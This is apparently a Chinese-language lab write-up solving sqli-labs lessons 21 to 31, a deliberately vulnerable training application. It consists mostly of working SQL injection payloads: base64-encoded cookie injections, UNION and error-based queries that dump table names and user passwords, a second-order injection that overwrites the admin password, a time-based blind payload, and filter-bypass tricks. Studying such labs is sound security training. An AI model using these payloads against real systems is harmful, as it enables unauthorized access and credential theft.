sali-labs(21-31)
less-21
圈出来的地方显然是base64加密过的,解码得到:admin,就是刚才登录的uname,所以猜测:本题在cookie出加密了字符串;
查看php文件确实如此,所以只需要上传payload的时候base64加密一下就行了。
看到cookie是YWRtaW4%3D,和页面显示的不一样 但是明显%3D是=号urdecode的结果,接下来构造paylaod进行测试:
admin' and 1=1 --+ //明文
YWRtaW4nIGFuZCAxPTEgLS0r //密文
看到红矩形的提示,应该构造 ')这种的
明文:admin')#
密文:YWRtaW4nKSM=
正常显示,所以闭合条件为('uname'),因为本关和上一关一样,所以列数为3列,显示位相同。
(1)爆库
-admin') union select 1,2,database()#
LWFkbWluJykgdW5pb24gc2VsZWN0IDEsMixkYXRhYmFzZSgpIw==
(2)爆表
-admin') union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'# LWFkbWluJykgdW5pb24gc2VsZWN0IDEsMixncm91cF9jb25jYXQodGFibGVfbmFtZSkgZnJvbSBpbmZvcm1hdGlvbl9zY2hlbWEudGFibGVzIHdoZXJlIHRhYmxlX3NjaGVtYT0nc2VjdXJpdHknIw==
(3)爆列
-admin') union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' and table_schema='security'#
LWFkbWluJykgdW5pb24gc2VsZWN0IDEsMixncm91cF9jb25jYXQoY29sdW1uX25hbWUpIGZyb20gaW5mb3JtYXRpb25fc2NoZW1hLmNvbHVtbnMgd2hlcmUgdGFibGVfbmFtZT0ndXNlcnMnIGFuZCB0YWJsZV9zY2hlbWE9J3NlY3VyaXR5JyM=
(4)爆数据
-admin') union select 1,2,group_concat(username,0x7e,password) from users#
LWFkbWluJykgdW5pb24gc2VsZWN0IDEsMixncm91cF9jb25jYXQodXNlcm5hbWUsMHg3ZSxwYXNzd29yZCkgZnJvbSB1c2VycyM=
less-22
和less-21关一样,只需要使用双引号再去掉括号
-admin" union select 1,2,database() #
LWFkbWluIiB1bmlvbiBzZWxlY3QgMSwyLGRhdGFiYXNlKCkj
less-23
源码替换了能用的注释符,所以我们可以构造闭合语句进行注入
(1)爆库
127.0.0.1/sqli-labs/Less-23/?id=-1' union select 1,2,database() '
(2)爆表
http://127.0.0.1/sqli-labs/Less-23/?id=-1%27%20union%20select%201,2,group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=%27security%27%20or%20%27
(3)爆列
127.0.0.1/sqli-labs/Less-23/?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'or '
(4)爆数据
http://127.0.0.1/sqli-labs/Less-23/?id=-1%27%20union%20select%201,group_concat(username),group_concat(password)%20from%20users%20where%201%20or%20%27
less-24
是一个登陆页面,我们没有账号,所以选择新建一个用户
我们新建的用户名为:admin'# 密码为:123456
查看数据库,可以看到,我们的数据插入进去了
我们使用新建的用户名和密码登录
登录成功了,跳转到了后台页面修改密码页面。
我们修改用户名为:admin'# 密码为:aaaaaaaaa
提示密码更新成功!
我们查看数据库,发现用户 admin'# 的密码并没有修改,而且 admin 用户的密码修改为了 aaaaaaaaaa
那么,为什么会这样呢?我们查看修改密码页面源代码,发现这里存在明显的SQL注入漏洞
当我们提交用户名 admin'# 修改密码为 aaaaaaaaaa 的时候,这条SQL语句就变成了下面的语句了。
#把后面的都给注释了,所以就是修改了admin用户的密码为 aaaaaaaaaa
$sql = "UPDATE users SET PASSWORD='aaaaaaaaaa' where username='admin'#' and password='$curr_pass' ";
less-25
根据题意得,本关过滤了or和and。查看源码可以看到or和and被替换成空,我们可以双写绕过
(1)加单引号报错
(2)加双引号正常显示
(3)输入?id=1'--+
正常显示,所以参数的闭合方式是'id'
(4)判断列数
正常显示,
(5)输入?id=1' oorrder by 4--+
报错所以列数为三列。
(6)判断显示位
后面就是union查询注入的老一套了,遇见and或or字符的时候双写就行了。
less-25a
不同于Less(25)的是,sql语句中对于id,没有"的包含,同时没有输出错误项,报错注入不能用。
union联合注入
http://127.0.0.1/sqli-labs/Less-25a/?id=-1 union select 1,2,database()--+
盲注
http://127.0.0.1/sqli-labs/Less-25a/?id=-1 || if(length(database())=8,sleep(10),1)#
less-26
查看php文件,可以发现过滤了 or and /* -- # \s //
(1)确认一下:
?id=%231 //确认过滤了#
?id=or1 //确认过滤了or
?id=/*1 //确认过滤了多行注释
?id=--1 //确认过滤了单行注释
?id=/1 //确认过滤了斜杠
?id=1' ' ' //确认过滤了空格,报错注入才行
?id=\ //确认过滤了反斜杠
有三种注入方式,两个明注和一个盲注。
- 明注一:因正确回显非固定字符串,可利用特殊 URL 编码代替空格,仍使用
union
加空格连接select
联合注入。 - 明注二:因错误回显是 MySQL 错误信息,可利用报错注入即 Less 17 中提到的几种方法,首选是
updatexml()注入
与extractvalue()注入
,因其他方法仍不能避开空格的使用。 - 盲注:基于 Bool 盲注,构造注入语句避开空格。
由于Apache解析的原因,Windows无法使用特殊字符代替空格,在linux
下就没问题
报错注入
http://192.168.116.128/sqli-labs/Less-26/?id=0'||updatexml(1,concat('$',(database())),0)||'1'='1
(2)爆表名
http://192.168.116.128/sqli-labs/Less-26/?id=0'||updatexml(1,concat('$',(select(group_concat(table_name))from(infoorrmation_schema.tables)where(table_schema='security'))),0)||'1'='1
(3)爆列名
http://192.168.116.128/sqli-labs/Less-26/?id=-1%27||updatexml(1,concat(%27%%27,(select(group_concat(column_name))from(infoorrmation_schema.columns)where(table_name=%27users%27)anandd(table_schema='security'))),1)||%271%27=%271
(4)爆数据
http://192.168.116.128/sqli-labs/Less-26/?id=0'||updatexml(1,concat('$',(select(concat('$',id,'$',username,'$',passwoorrd))from(users)where(username)='admin')),0)||'1'='1
less-26a
(1)爆库:?id=0')%0bunion%0bselect%0b1,database(),3%0b||('1')=('1
(2)爆表:
?id=0')%0bunion%0bselect%0b1,group_concat(table_name),3%0bfrom%0binfoorrmation_schema.tables%0bwhere%0btable_schema='security'%26%26('1')=('1
(3)爆列名:
?id=0')%0bunion%0bselect%0b1,group_concat(column_name),3%0bfrom%0binfoorrmation_schema.columns%0bwhere%0btable_schema='security'%0baandnd%0btable_name='users'%26%26('1')=('1
(4)爆值:?id=0')%0bunion%0bselect%0b1,group_concat(passwoorrd,0x7e,username),3%0bfrom%0busers%0bwhere%0b('1')=('1
less-27
查看一下php文件,发现不仅过滤了符号,还过滤了一些关键字,但是我们可以大小写结合
(1)爆库
http://127.0.0.1/sqli-labs/Less-27/?id=0'%0buniOn%0bsElEct%0b1,database(),3%0bor%0b'1'='1
(2)爆表(把or换成&&(%26%26))
http://127.0.0.1/sqli-labs/Less-27/?id=0'%0buniOn%0bsElEct%0b1,(group_concat(table_name)),3%0bfrom%0binformation_schema.tables%0bwhere%0btable_schema='security'%0b%26%26%0b'1'='1
(3)爆列名
http://127.0.0.1/sqli-labs/Less-27/?id=0'%0buniOn%0bsElEct%0b1,(group_concat(column_name)),3%0bfrom%0binformation_schema.columns%0bwhere%0btable_schema='security'%0bAnd%0btable_name='users'%0b%26%26%0b'1'='1
(4)爆数据
http://127.0.0.1/sqli-labs/Less-27/?id=0'%0buniOn%0bsElEct%0b1,(group_concat(username,0x7e,password)),3%0bfrom%0busers%0buniOn%0bseLect (1),(2),'(3
less-27a
和Less(27)一样,就是把单引号闭合变成双引号闭合
http://127.0.0.1/sqli-labs/Less-27a/?id=0"%0buniOn%0bsElEct%0b1,database(),3%0bor%0b"1"="1
less-28
这个和Less(27)差不多,就是把参数变成 id=('1')
1.测试http://127.0.0.1/sqli-labs/Less-28/?id=1%27,页面回显不正常,但又没有错误提示,报错注入没戏,尝试闭合语句,加单引号回显不正常,说明sql语句闭合至少有',可能有),判断有无)在Less-26已经写过,经过验证确实含有'
2.尝试使用联合查询注入,构造语句http://127.0.0.1/sqli-labs/Less-28/?id=1%27);union%20select%00,看回显
空格没有了,说明空格被过滤了,尝试使用特殊字符绕过过滤,经测试如下特殊字符可以替换空格%0a,%0d,%20,%0b,/%0a/,再来构造http://127.0.0.1/sqli-labs/Less-28/?id=1%27);union%0dselect%0d1,2,3;%00,看回显
,由前后两次构造的语句和回显提示,说明过滤了union+空格(包括可替代空格的特殊字符)+select,但是又没过滤单独存在的union,select,尝试构造http://127.0.0.1/sqli-labs/Less-28/?id=0')union%0dunion%0dselectselect%0d1,2,3看是否能回显正常,测试后,结果,联合查询注入存在,查询方法前面已有,搞定。
less-28a
过滤很严格,但是还是存在绕过滴,比如http://127.0.0.1/sqli-labs/Less-28a/?id=0%27)union%0Aseunion%0Aselselectectlect%0A1,2,group_concat(table_name)from%0Ainformation_schema.tables%0Awhere%0Atable_schema=%27security%27;%00,存在联合查询注入,搞定
less-29
1.构造http://localhost:8080/sqli-labs/Less-29/?id=1',跳转到临外一个页面
url栏跑出来一个hack.jsp,可以看出来是Tomcat服务器,但是现在基本上没用jsp写后台的了,基本上用php,所以果断猜测是双服务器—
2.构造http://localhost:8080/sqli-labs/Less-29/?id=1&id=2,结果如下
回显的是id=2的内容,说明确实是apache+Tomcat双服务器,尝试判断注入点,加',页面报错
根据报错提示可以构造闭合了'--+,看看是否存在联合查询注入,构造http://localhost:8080/sqli-labs/Less-29/?id=1&id=0%27union%20select%201,2,3--+,回显如下,说明存在,接下来的操作和以前的单服务器一样了
以为我没有安装tomcat服务,所以没有复现该关。转载自:https://blog.csdn.net/qq_43579362/article/details/104325466?spm=1001.2014.3001.5501
less-30
闭合方式wei"--+
,可以联合查询注入,不可以用报错型注入,因为无错误回显
less-31
闭合方式为")--+
,可以联合查询注入,报错型注入